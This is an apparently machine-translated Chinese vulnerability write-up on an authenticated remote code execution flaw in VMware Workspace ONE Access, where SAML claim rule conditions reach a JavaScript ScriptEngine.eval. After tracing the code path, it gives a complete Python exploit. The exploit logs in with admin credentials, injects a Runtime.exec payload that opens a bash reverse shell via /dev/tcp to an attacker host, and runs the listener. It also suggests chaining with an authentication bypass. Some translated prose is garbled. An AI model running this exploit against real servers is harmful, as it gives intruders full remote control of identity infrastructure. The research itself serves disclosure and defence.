VMWARE WORKSPACE ONE ACCESS

介绍

2022 年,我针对 VMWare Workspace ONE Access 进行了研究,并发现了一个可由经过身份验证的管理员触发的远程代码执行漏洞。尽管身份验证是必需的,但过去的身份验证绕过漏洞已发布。顺便说一句,如果您对此类工作感兴趣,在 Trenchant,我们会针对各种有趣且具有挑战性的目标进行漏洞研究!

VMWare的供应商公告可在此处找到。

赋予动机

全链作者血型RCE
mr_meCVE-2022-22955CVE-2022-22960
Kai Zhao & Steven YuCVE-2022-22973?
Petrus VietCVE-2022-31659CVE-2022-31659

在我构建了 Hekate 0-click 漏洞(将身份验证绕过与其他漏洞链接在一起)之后,我看到 ToTU 安全团队的 Kai Zhao 和 Steven Yu 报告了 CVE-2022-22973,这是另一个没有链接任何远程代码执行身份验证绕过。

后来,Petrus Viet 绕过了 CVE-2022-22973 的补丁(修补为 CVE-2022-31659),并将其与他发现的另一个远程代码执行漏洞 (CVE-2022-31659) 链接在一起。

一个新的RCE漏洞可以与赵凯和Steven Yu的身份验证绕过相结合,以实现未经身份验证的远程代码执行。VMWare非常努力地不允许任何身份验证后RCE漏洞,特别是因为这些缺陷已经在野外被利用了。

漏洞分析

一天深夜,我熬夜阅读了与 Java Bean 验证相关的漏洞,我意识到这是我最初在审核此目标时没有调查的领域。由于RCE可以完成完整的链条,我决定是时候最后一次潜入了。

在 Alvaro 的优秀帖子中,他提到要寻找的易受攻击的水槽带有部分控制的错误消息,所以我开始寻找这样一个水槽,这让我上课:javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate com.vmware.horizon.catalog.validation.TypeInfoValidator

public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
      ...
      @Override
    public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
        ...
        for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
            final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
            for (final String errorMessageArg : errorMessage.getSecond()) {
                constraintViolationBuilder.addNode(errorMessageArg);
            }
            constraintViolationBuilder.addConstraintViolation();
        }
        return this.errorMessages.size() == 0;
    }
    ...
    protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
        Preconditions.checkNotNull(errorMessageKey);
        this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
    }

在 [1] 处,验证器循环访问属性并从 获取第一个字符串值并继续调用 。我继续寻找任何调用 [2] 的内容,因为此方法填充了属性。errorMessagesHashSetbuildConstraintViolationWithTemplateaddErrorMessageerrorMessages

我没能找到任何有用的东西,当我在课堂上发现这个有趣的方法时,我正要放弃:TypeInfoValidator

    protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
        final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
        for (final ErrorMessage errorMessage : errorMessages) {
            this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
        }
    }

当然,我想知道列表是如何派生的,以便影响 at [3] 的返回值。我潜入
课堂检查方法:errorMessagesgetErrorMessageKeycom.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelpervalidateClaimTransformations

@Component
public class ClaimTransformationHelper
{
    ...
    private final ScriptEngine scriptEngine;

    public ClaimTransformationHelper() {
        this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
    }
      ...
    @Nonnull
    public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
        final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
        for (final ClaimTransformation claimTransformation : claimTransformations) {
            final String value = claimTransformation.getValue();
            final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
            if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
                ...
            }
            else {
                ...
                final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
                ...
                this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
            }
        }
        return errorMessages;
    }

    private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
        for (final ClaimRule claimRule : rules) {
            if ("default".equals(claimRule.getCondition())) {
                continue;
            }
            try {
                Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
            }
            catch (Exception e) {
                errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
            }
        }
    }

在 [4] 处,代码遍历提供的并调用 。at [5] 被强制转换为 的实例并存储在 中。然后在 [6] 处,代码调用攻击者提供的 .claimTransformationsgetRulesclaimRulesArrayListClaimRulerules validateClaimRuleConditionrules

该方法在攻击者提供的实例上调用,该实例直接传递到 [7] 处的接收器。由于 Java Bean 验证发生在用户提供的数据上,因此我们很可能可以使用有影响力的数据到达此注入接收器。getConditionClaimRulescriptEngine.eval

达到验证声明规则条件

寻找呼叫,我发现了一些结果:validateClaimTransformations

第二个结果是公开该方法的类。com.vmware.horizon.catalog.validation.SamlTypeInfoValidatorvalidate

public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
    protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
        ...
        if (samlAuthInfo.getNameIdClaimTransformation() != null) {
            this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
        }
        ...
    }
}

这由两个子 Bean 验证类及其实现调用。Saml11TypeInfoValidatorSaml20TypeInfoValidator isValid

@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
    @Override
    protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
        Preconditions.checkNotNull(saml11AuthInfo);
        super.validate(saml11AuthInfo);
    }
}

在这一点上,我开始寻找带有任何注释或 .@ValidSaml11TypeInfo@ValidSaml20TypeInfo@ValidWSFed12TypeInfo

这些类和所有类都实现自定义 Bean 验证器作为注解。com.vmware.horizon.api.v2.catalog.Saml11AuthInfocom.vmware.horizon.api.v2.catalog.Saml20AuthInfocom.vmware.horizon.api.v2.catalog.wsfed.WSFed12ResourceInfo

@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{

寻求验证

此时,我们有三个类可以到达易受攻击的接收器,需要验证这些类才能到达该接收器。经过一番搜索,我在
类内部发现了一个在 bean 服务初始化后调用的 at [8]@PostConstructcom.vmware.horizon.catalog.impl.CatalogServiceImpl catalogService

@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
    ...
    @PostConstruct
    public void initValidation() { // 8
        this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
    }

经过更多搜索,我发现抽象类实现了这个服务:com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource

public abstract class AbstractCatalogResource extends AbstractResource
{
    public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
    @Autowired
    protected CatalogService catalogService; // 9

在 [9] 处,我们看到类自动连接 .自然,我随后寻找了儿童类,我发现了两个有趣的例子:CatalogServiceAbstractCatalogResource

这些很有趣,因为它们使用包中的以下三种类型:com.vmware.horizon.catalog.rest.media

  1. Saml11CatalogItem
  2. Saml20CatalogItem
  3. WSFed12CatalogItem

这些类型公开映射回其关联类型的 JSON 属性。例如,让我们检查类:AuthInfoSaml20CatalogItem

@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
    public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
    @JsonProperty("authInfo")
    private Saml20AuthInfo authInfo; // 10

暴露

查看该类,我们可以找到几种公开易受攻击的接收器的方法:com.vmware.horizon.catalog.rest.resource.CatalogItemsResource

@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
    private static final boolean VALIDATE = true;
    ...

    @POST
    @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
    @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
    @TypeHint(Saml11CatalogItem.class)
    @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
    public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
        return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
    }

    @POST
    @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
    @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
    @TypeHint(Saml20CatalogItem.class)
    @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
    public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
        return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
    }

在 [11] 处,用户需要处于管理员级别才能到达此端点,但是,过去此应用程序中存在多个身份验证绕过,这些绕过可能与此漏洞链接在一起。

另请注意,此处并未列出所有访问易受攻击代码的方法。我提供了两个作为概念证明。

概念验证

此 PoC 需要目标的主机名和管理员凭据。使用 CVE-2022-22973 链接是读者🙂的练习

自动化

#!/usr/bin/env python3

import re
import sys
import socket
import requests
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from urllib3 import disable_warnings, exceptions
from urllib.parse import urlparse
disable_warnings(exceptions.InsecureRequestWarning)

def login(t, u , p):
    r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
    m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
    assert m, "(-) cannot find protected_state!"
    s = requests.Session()
    s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
        "protected_state": m.group(1),
        "username": u,
        "password": p
    }, verify=False)
    return s

def trigger_rce(t, rhost, rport, s):
    j = {
        "catalogItemType":"Saml11",
        "authInfo": {
            "type":"Saml11",
            "configureAs":"manual",
            "nameIdClaimTransformation":{
                "name":"",
                "format":"",
                "rules":[
                    {
                        "condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
                        "order":1337,
                        "action":{
                            "name":"prefix",
                            "args":[]
                        }
                    }
                ]
            }
        }
    }
    s.headers.update({
        'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
    })
    r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
    assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
    s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
    s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    global rhost, rport
    if len(sys.argv) != 4:
        print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
        print("(+) eg: %s target.tld 172.18.182.204 admin:Admin22#" % sys.argv[0])
        sys.exit(1)
    assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
    target = sys.argv[1]
    rhost = sys.argv[2]
    rport = 1337
    if ":" in sys.argv[2]:
        rhost = sys.argv[2].split(":")[0]
        assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
        rport = int(sys.argv[2].split(":")[1])
    usr = sys.argv[3].split(":")[0]
    pwd = sys.argv[3].split(":")[1]
    s = login(target, usr, pwd)
    handlerthr = Thread(target=handler, args=[rport])
    handlerthr.start()
    trigger_rce(target, rhost, rport, s)

if __name__ == "__main__":
    main()

手动

堆栈跟踪

ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注